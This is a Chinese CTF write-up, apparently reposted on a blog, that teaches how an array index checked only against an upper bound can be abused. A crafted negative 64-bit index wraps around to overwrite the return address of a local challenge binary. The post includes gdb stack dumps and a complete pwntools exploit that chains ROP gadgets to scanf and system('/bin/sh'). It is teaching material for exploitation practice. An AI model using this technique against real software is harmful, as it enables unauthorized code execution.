c语言短整型范围越界,[原创]数组越界之入门向

前言:

做题时候遇到的第一道数组越界的pwn题,其中负数利用有一块地方刚开始一直弄不太明白,发帖求助了一下,在此感谢holing大佬的帮助。

介绍:

0x1. 数组越界原理:

0x1. 堆中的数组越界:

因为堆是我们自己分配的,如果越界,那么会把堆中其他空间的数据给写掉,或读取了其他空间的数据,这样就会导致其他变量的数据变得不对,如果是一个指针的话,那么有可能会引起crash,这里我们主要谈论栈中的数组越界问题。

0x2. 栈中的数组越界:

因为栈是向下增长的,在进入一个函数之前,会先把参数和下一步要执行的指令地址(通过call实现)压栈,在函数的入口会把ebp压栈,并把esp赋值给ebp,在函数返回的时候,将ebp值赋给esp,pop先前栈内的上级函数栈的基地址给ebp,恢复原栈基址,然后把调用函数之前的压入栈的指令地址pop出来(通过ret实现)。

栈是由高往低增长的,而数组的存储是由低位往高位存的,如果越界的话,会把当前函数的ebp和下一跳的指令地址覆盖掉,如果覆盖了当前函数的ebp,那么在恢复的时候esp就不能指向正确的地方,从而导致未可知的情况,如果下一跳的地址也被覆盖掉,那么肯定会导致crash。

以下是我所画的数组元素在栈中的布局:

d420c6db167be331b86b542d73126536.png

这样一下看就很明显了,当你把数组的下标越过了最大索引值的时候,所指向的指针就会指向更高地址的栈空间段,所以我们就能够实现任意改写栈空间上的内容,同理,当下标为负数的时候指针会指向更低地址的栈空间段。但是这里就有一个需要注意的地方了,利用负数改写的话我们还能达到“负数变正数”的效果,这一点我们之后会讲到。

0x2. 正负数在计算机中的表示:

在C语言中,整数的基本数据类型分为短整型(short),整型(int),长整型(long),这三个数据类型还分为有符号和无符号,每种数据类型都有各自的大小范围,(因为数据类型的大小范围是编译器决定的,所以之后所述都默认是 64 位下使用 gcc-5.4),如下所示:

类型

字节

范围

short int

2byte(word)

0~32767(0~0x7fff) -32768~-1(0x8000~0xffff)

unsigned short int

2byte(word)

0~65535(0~0xffff)

int

4byte(dword)

0~2147483647(0~0x7fffffff) -2147483648~-1(0x80000000~0xffffffff)

unsigned int

4byte(dword)

0~4294967295(0~0xffffffff)

long int

8byte(qword)

正: 0~0x7fffffffffffffff 负:0x8000000000000000~0xffffffffffffffff

unsigned long int

8byte(qword)

0~0xffffffffffffffff

了解了数组越界的原理和利用方式之后,我们就来进入实践环节。

例题实践:

check一下:

[*] '/home/parallels/Desktop/3/pwn1'

Arch: amd64-64-little

RELRO: Partial RELRO

Stack: Canary found

NX: NX enabled

PIE: No PIE (0x400000)

64位,开了栈保护和nx。

主程序:

void hacker()

{

signed int j; // [rsp+8h] [rbp-78h]

signed int i; // [rsp+Ch] [rbp-74h]

__int64 v2; // [rsp+10h] [rbp-70h]

__int64 v3; // [rsp+18h] [rbp-68h]

__int64 s[11]; // [rsp+20h] [rbp-60h]

unsigned __int64 v5; // [rsp+78h] [rbp-8h]

v5 = __readfsqword(0x28u);

puts("Welcome to hacker's system\n");

puts("Now you can set hackers' age\n");

memset(s, 0, 0x50uLL);

for ( i = 0; i <= 9; ++i )

{

puts("Enter hacker index:");

__isoc99_scanf("%lld", &v2);

puts("Enter hacker age:");

__isoc99_scanf("%lld", &v3);

if ( v2 > 9 )

exit(0);

s[v2] = v3;

}

puts("Now let's see your creation:'");

for ( j = 0; j <= 9; ++j )

printf("%lld ", s[j]);

}

漏洞点就出现在数组索引上面,只判断了大于9的情况,没有判断小于0的情况。所以可以利用负数来进行绕过。gdb调试一下,找出数组的栈地址:

0x7fffffffdd50: 0x0000000000000014 0x00007fffffffddf0

0x7fffffffdd60: 0x0000000000000000 0x0000000000400881

0x7fffffffdd70: 0x00007ffff7dd26a3 0x00000000ffffdf00

0x7fffffffdd80: 0xfffffffffffffff8 0x0000000000000014

0x7fffffffdd90: 0x0000000000000000 0x0000000000000000 --start

0x7fffffffdda0: 0x0000000000000000 0x0000000000000000

0x7fffffffddb0: 0x0000000000000000 0x0000000000000000

0x7fffffffddc0: 0x0000000000000000 0x0000000000000000

0x7fffffffddd0: 0x0000000000000000 0x0000000000000000 --end

0x7fffffffdde0: 0x0000000000000000 0x4deabe7a5eca9400

0x7fffffffdd80处存储数组下标,0x7fffffffdd88处存储所要赋值给数组的内容。0x7fffffffdd90~0x7fffffffddd8处存储10个数组元素的内容。

再看看hack()函数的ret返回地址:

0x7fffffffddf8

当我设置下标为1,内容为20的时候,栈中的内容是这样的:

0x7fffffffdd70: 0x00007ffff7dd26a3 0x00000000ffffdf00

0x7fffffffdd80: 0x0000000000000001 0x0000000000000014

0x7fffffffdd90: 0x0000000000000000 0x0000000000000000

0x7fffffffdda0: 0x0000000000000000 0x0000000000000000

0x7fffffffddb0: 0x0000000000000000 0x0000000000000000

0x7fffffffddc0: 0x0000000000000000 0x0000000000000000

0x7fffffffddd0: 0x0000000000000000 0x0000000000000000

0x7fffffffdde0: 0x0000000000000000 0xaed11199af89ad00

0x7fffffffddf0: 0x00007fffffffde20 0x00000000004009ad

与上面我们所叙述的一样,当我们执行到这段汇编指令的时候:

0x400895 : mov rax,QWORD PTR [rbp-0x70]

0x400899 : mov rdx,QWORD PTR [rbp-0x68]

=> 0x40089d : mov QWORD PTR [rbp+rax*8-0x60],rdx

rax中存储的是索引值,rdx中存储的是内容,[rbp+rax*8-0x60]这一段实质上就是数组元素的偏移寻址,即我们上文所说的十个数组元素的存储地址寻址,rdx赋值给它,那么我们这样就可以利用负数,来修改比数组元素更低地址的空间内容了。

那么这里应该就有疑问了,ret返回地址不是在数组元素地址的更高地址吗?用负数怎么能够达到修改ret地址内容的效果呢?

上面我们已经了解到正负数在计算机中的表示了,为了更容易理解,我们直接实践能很快理解,我们设置下标为-1,内容为20,在栈中的表示是这样的:

0x7fffffffdd70: 0x00007ffff7dd26a3 0x00000000ffffdf00

0x7fffffffdd80: 0xffffffffffffffff 0x0000000000000014

0x7fffffffdd90: 0x0000000000000000 0x0000000000000000

0x7fffffffdda0: 0x0000000000000000 0x0000000000000000

可以看见-1表示成了0xffffffffffffffff。

现在来计算我们所需要输入的下标的值为多少才能覆盖返回地址。

ret地址:[rbp+0x8]

指向内存:[rbp+rax*8-0x60]

所以我们需要做到:(rbp+rax*8-0x60)%0x10000000000000000 == rbp+0x8,还有一个关键的点是还需要使rax的值为负数,即0x8000000000000000

这里为什么要取余数呢?因为64位程序中最高是16位(8字节),超出了16位最高位会被截断,所以这里我们可以得到多个可用的rax值。

0x800000000000000d,0xa00000000000000d,0xc00000000000000d,0xe00000000000000d

我们选用0xa00000000000000d来测试一下,转化成负数为-6917529027641081843。作为下标输入,栈中地址为:

0x7fffffffdd80: 0xa00000000000000d 0x0000000000000014

0x7fffffffdd90: 0x0000000000000000 0x0000000000000000

再看看[rbp+rax*8-0x60]地址:

gdb-peda$ p $rbp+$rax*8-0x60

$60 = (void *) 0x7fffffffddf8

成功任意改变栈地址内容。接下来就好构造了,有十次的机会写栈中的内容,足够了。

利用思路:

因为本身程序中就有system函数存在,所以我们只需要写入/bin/sh就好了。

利用scanf函数将/bin/sh写入bss段。

调用system函数。

这里具体怎么去利用就不细说了,主要讲数组越界利用的这一部分。

EXP:from pwn import *

p = process('./pwn1')

elf = ELF('pwn1')

p.recvuntil('name:\n')

p.sendline('yzq')

system_addr = elf.symbols['system']

bss_addr = elf.bss()

scanf_addr = elf.symbols['__isoc99_scanf']

pop_rdi = 0x400a33 #pop rdi;ret

pop_rsi = 0x400a31 #pop rsi;pop r15;ret

ret_addr = 6917529027641081843 #0xa00000000000000d的负数形式

scanf_formot = 0x400AFC

#gdb.attach(p)

#1

p.recvuntil('index:\n')

p.sendline('-%s' % (ret_addr))

p.recvuntil('age:\n')

p.sendline('%s' % (pop_rdi))

#2

p.recvuntil('index:\n')

p.sendline('-%s' % (ret_addr-1))

p.recvuntil('age:\n')

p.sendline('%s' % (scanf_formot))

#3

p.recvuntil('index:\n')

p.sendline('-%s' % (ret_addr-2))

p.recvuntil('age:\n')

p.sendline('%s' % (pop_rsi))

#4

p.recvuntil('index:\n')

p.sendline('-%s' % (ret_addr-3))

p.recvuntil('age:\n')

p.sendline('%s' % (bss_addr))

#5

p.recvuntil('index:\n')

p.sendline('-%s' % (ret_addr-4))

p.recvuntil('age:\n')

p.sendline('%s' % (0x1)) #r15不相干,随意写

#6

p.recvuntil('index:\n')

p.sendline('-%s' % (ret_addr-5))

p.recvuntil('age:\n')

p.sendline('%s' % (scanf_addr))

#7

p.recvuntil('index:\n')

p.sendline('-%s' % (ret_addr-6))

p.recvuntil('age:\n')

p.sendline('%s' % (pop_rdi))

#8

p.recvuntil('index:\n')

p.sendline('-%s' % (ret_addr-7))

p.recvuntil('age:\n')

p.sendline('%s' % (bss_addr))

#9

p.recvuntil('index:\n')

p.sendline('-%s' % (ret_addr-8))

p.recvuntil('age:\n')

p.sendline('%s' % (system_addr))

#10

p.recvuntil('index:\n')

p.sendline('0')

p.recvuntil('age:\n')

p.sendline('0')

p.sendline('/bin/sh')

p.interactive()

相关链接:https://blog.csdn.net/qq_33438733/article/details/72851639

https://blog.csdn.net/human_evolution/article/details/40752047

https://ctf-wiki.github.io/ctf-wiki/pwn/integeroverflow/intof/

最后于 2018-6-19 23:30

被V1NKe编辑

,原因:

上传的附件:

5b1126f06e10c

(8.92kb,39次下载)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值